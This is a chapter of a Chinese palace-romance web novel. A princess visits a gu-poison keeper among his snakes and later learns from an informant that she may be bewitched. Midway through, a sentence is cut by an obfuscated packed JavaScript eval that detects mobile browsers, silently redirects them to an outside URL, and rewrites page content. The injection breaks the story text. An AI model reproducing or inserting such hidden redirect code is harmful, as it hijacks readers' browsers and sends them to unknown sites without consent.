“你在干什么?”一道声音响起。
谢映一惊讶,转身之时碰到了其中一个罐子,她轻轻喊了出来,却没能伸手接住。
她脚下一滑,被傅清鹤用力接住,那罐子却掉在了地上,里面的东西打翻在地,开面的东西一览无余。
“啊……”谢映被吓了一跳,因为里面的各种小虫子几乎是立刻朝着她涌来,几乎要碰到她的衣角。
蛊虫发出哗哗声音,像潮水一般朝她涌来,个个挥舞着锋利的獠牙,不过很快被涌上来的小蛇干净。
“这是……”谢映还没反应过来,几乎整个人挂在傅清鹤身上,她看向男人:“这都是你养的?”
傅清鹤冷漠道:“殿下还要抱多久?”
谢映抿唇,她不怕刀枪,但是天生害怕这种虫蛇,她心底发誓,以后再也不要来这里了,傅清鹤的身边怎么总是有这种东西。
“殿下应该知道,臣出身南疆,天生和这种东西打交道,您不喜欢,离开就是了。”
谢映稀里糊涂地点头,在傅清鹤逐渐冷漠下来的目光中,她又飞快地摇头,改口说:“你说什么呢,我就是来找你的,你养的这种东……”
话没说完,傅清鹤已经蹲了下来,看着地上那些虫子的尸体,伸手搓了搓。
谢映闭了闭眼睛:“你别生气,我不是故意的……”
“殿下是来找我算账的,因为我说了你心爱的男人,是吗?”傅清鹤站起来,走到一旁去净手,“如果是,还请离开,我不会去道歉。”
谢映上前一步,想要解释,却不知道该从何开口:“我不是来找你算账的,你生病了是不是?我来看看你……你不是说想要我收回……”
“不用了。”傅清鹤叹息道,“您是君,我是臣,臣本来就不该要求太多,是傅清鹤唐突了。”
谢映看不见,男人审视的目光,似乎要洞穿她的灵魂。
谢映只觉得着急,她不知该怎么样,让傅清鹤对她再热情一点,“傅清鹤……我今天和你睡好不好?”
谢映看着傅清鹤白皙的脖颈,垂下来的那条手臂清瘦,但肌肉起伏明显,如果这样的手臂放在她腰上……
“你在想什么?”傅清鹤愠怒,打断谢映的思考。
她抓着傅清鹤的衣袖,闻着男人身上的味道,觉得自己好像也和蛊虫一样,只想钻进傅清鹤衣袖里。
傅清鹤盯着女孩明亮的眼睛,下一刻,伸手将她的手扯下来,动作不轻,也不温柔,和谢映认识的傅清鹤不一样。
“不行。”傅清鹤手掌很热,大概还在高烧中,连眼尾都染上了一丝水红,“我这里还有很多虫蛇,会吓到殿下的。”
谢映别他推到门口,死活不愿意出去,她张嘴就说:“我不怕,我就要和你——”
谢映抬头,触及傅清鹤的目光,像是被烫到了一样,男人的目光中流露出一丝厌恶,这点厌恶让她喉头一紧。
就在这一念之差,她被推到门口,房门在自己面前关上。
谢映站了会儿,觉得腿都酸了,她垂头丧气,念叨着:“你别推开我……”
几条小蛇在远处,听见她的声音,都嘶嘶上前,在谢映脚边绕圈,她又怕又紧张,甚至还有大胆的,顺着她的小腿往上。
这种触感有些恶心,但谢映并没有挣扎,她尝试着伸手摸了摸其中一条蛇,“你竟然是白色的。”
其他蛇看见谢映竟然伸手摸,纷纷攒动着涌上来,更多的蛇游了过来。谢映胆子变大,伸手又摸了更多的蛇,手感软滑,她又摸了摸。
“殿下。”傅清鹤忽然开口,站在窗台下,看着谢映和她身边的蛇群。
“傅清鹤你……”谢映话没说完,那条白蛇竟然顺着她的衣摆钻进了……
“哎!”谢映大声喊了出来,又不敢用手抓,腿一软坐在了椅子上。
“进来。”
傅清鹤打开门,眼神警示,那条白蛇缓缓退出谢映的衣服,她还有些震惊,后知后觉才害羞起来。
谢映走到房门口,地上的狼藉已经被清理干净了,她摸了摸鼻子:“我来看看你,你要记得吃药,明天记得好起来。”
傅清鹤背对着她,听见这话也无动于衷,谢映就看着他弯腰整理衣服,把晒好的衣服收起来,叠好之后放进衣柜里,那衣柜里几乎都是浅色的衣服。
和谢映一柜子的红色、金色、粉色不一样。
谢映看得入迷了,男人做事的样子很利落,将房间整理好,又把书桌上整理好,空出来一个位置,最后……傅清鹤拉住衣摆两边,将头昂起来,白皙的脖颈一览无余,他脱下了上衣。
谢映“噌”地站起来,“你要干什么?”
傅清鹤转过头去,看向外头已经不早的天色,他疑惑道:“这话不应该是我来说吗?殿下想做什么?”
房门忽然关上,一院子的小蛇在外打转,因为谢映的到来,一个院子的蛊虫们兴奋不已。
谢映眼看着傅清鹤已经把手放在了腰间,她清了清嗓子:“天色不早了,看来我也应该……”
傅清鹤脱下外裤后,缓缓躺在床上,睁着一双眼睛看她,眼神冷冷淡淡。
“我以为,殿下说的睡觉是和以前一样。”傅清鹤回答。
“以、以前!?”谢映差点摔倒,她盯着傅清鹤赤裸的身体,眼神艰难移开,她还是个小姑娘……即便是三年前面首无数也经不住傅清鹤这副模样。
“咳,本公主先、先离开了……”
傅清鹤没说话,只是默默拉高了被子:“希望殿下能记得自己说的话。”
傅清鹤看着窗外的明月,明月缺角,离十五越来越近了,不过这一次……或许会不一样。
谢映跌跌撞撞回了自己的院子,一出来就是一股燥热,比不上傅清鹤的地方清凉,她不自觉地瘪了瘪嘴,不大高兴地走进去。
“殿下!”慕容山忽然从暗处走出来,手里还端着一碗甜汤,“您终于回来了,我可担心坏了。”
谢映没想太多,但这样黑了,慕容山还站在门口等她,于是她关心了一句:“你要早点回去休息。”
慕容山摇头:“殿下不回来,我睡不好。”
谢映慢吞吞点头:“哦……谢谢你关心,不过我有时候不回来睡,也正常。”
慕容山端着托盘的手指微微用力,直到泛白,他才艰难地露出一个笑:“殿下说的是,先把这碗糖水喝了吧,这是臣炖的,解暑又对身体好。”
谢映看着那碗雪白的东西,莫名不大想喝,“不了,你端回去吧,我暂时不想喝。”
慕容山转身准备走回去,谢映又开口:“你今天是不是见到傅清鹤了?以后别和他说话。”
慕容山挤出一个笑:“殿下说得我不明白。”
谢映皱眉,语气直白:“你为什么不明白?我说得很清楚吧,不要和他说话,不管他怎么样。”
谢映直勾勾地盯着慕容山,不带一丝情愫。慕容山眼看着,这双眼睛里的情愫,一点点消失,明明不久前她来找自己的时候还是有感情的。
但现在这双眼睛越来越像这三年来的眼睛了,只有在看向傅清鹤的时候有温度。
慕容山苦笑一声,端着托盘退下去。
谢映一进门,就看见含莲在忙碌,她大大咧咧坐下来:“给我弄点水。”
含莲端上来一碗果木羹,还散发着屡屡冰气,香甜的味道不用仔细闻都能感受到,谢映坐下来,“这是什么时候准备的,我最讨厌吃这种东西。”
她还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668109|173017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是想吃辣的。
含莲回:“这是傅公子今日端来的,是他亲手做的,一直放在厨房里。”
谢映挑眉:“那我也不吃,端走。”
含莲弯腰将东西端走。
谢映看了会儿书册。
谢映喝了点茶水。
谢映洗漱完毕。
“把那碗东西端来。”谢映叹了口气,撑在桌上,“不吃可惜了,边关将士可没有这种东西吃。”
含莲忍着笑,把那碗东西端上来:“殿下,您要吃什么东西没有,还不是因为傅公子。”
谢映看过去:“你敢笑话我了?我只是担心浪费。”
含莲:“殿下明明……”
“下去。”
谢映舔了舔唇舌,将最后一勺甜水咽下肚,傅清鹤做的东西好像多了一丝香气,她有些上瘾。
只是这缕香气从一开始若有似无,到现在她已经无法忽略。
*
绿杨酒楼,长安最大的酒楼,名流豪绅出入场所。
谢映打量着四周,她穿了最低调的衣服,头上戴着围帽,环视一圈,最后随着店小二上了二楼雅间。
“客官,您这边请。”店小二打开里面的雅间,谢映走进去。
房中已经坐着一个人,谢映走过去,缓缓摘下帽子,她打量着眼前这人,满意地点头。
“您已经三年没有联系我了,不知这一次怎么突然发信?”男人笑着说。
“金尾,好久不见,你还是这幅样子。”谢映点了点头,让店小二上菜,“我给你发信,还担心你换了地方。”
金尾眉间一颗红痣,让这个长相明丽的男人多了一丝神性,他常年行走于世间各地,前不久才从南疆回来,他也是谢映三年前时常联系的线人。
“老师去世前,把你留给我,想不到短短三年,你辞官了。”
金尾摇头:“在南疆,看见了一些事情,做官什么的,不是我的志向。”
“你从南疆回来的?”谢映皱眉呢喃了一句,“好巧,又是南疆。”
金尾撩开自己的手腕,“说到南疆,殿下你知道南疆有一样东西吗?”
谢映看向金尾手上的纹路,动作一顿,弯弯绕绕的纹路从他的袖子中伸出来,紫黑色的纹路,和傅清鹤身上的纹路有些像。
“这是我去南疆时,当地居民给我种的,不过蛊虫已经死了,只是纹路还未消散,我第一次见到,南疆的人几乎都会炼蛊。”金尾闭上眼睛,“不过现在……南疆的村寨已经散得差不多了,再过十年,南疆的蛊虫就会死光。”
“你和我说这些有什么用?”
金尾回答:“我算出来,殿下将会有一场浩劫,如果没有解蛊之法,有可能会成了蛊盅。”
“会死吗?”谢映动作一顿,她夹了两筷子菜,一把塞嘴里,“不过就是虫子罢了,有什么好怕的。”
金尾把东西递给她:“这是您要的,这三年谢于曼和匡钧的财政来往,您猜得不错,她确实贪了不少,三年前你在南疆遇难,也是她做的。”
即便已经做好了心理准备,谢映还是吓了一跳:“她从三年前就开始谋划了?”
金尾轻笑一声:“想起来,三年前还是我去南疆把你接回来的。”
谢映听见这话,连忙问:“是你?你那时候见到我,可有什么变化?”
金尾年纪和谢映差不多,他神机妙算,当年同时拜了凌将军为师,他很清楚谢映在担心什么,“你那时候……很……”他露出一个尴尬的笑。
“我也不好说,你和那个男人很不对劲……就像是中了蛊一样,全身心都只有这一个男人。”
谢映筷子一顿。
就在这时,一人猛地打开房门冲进来。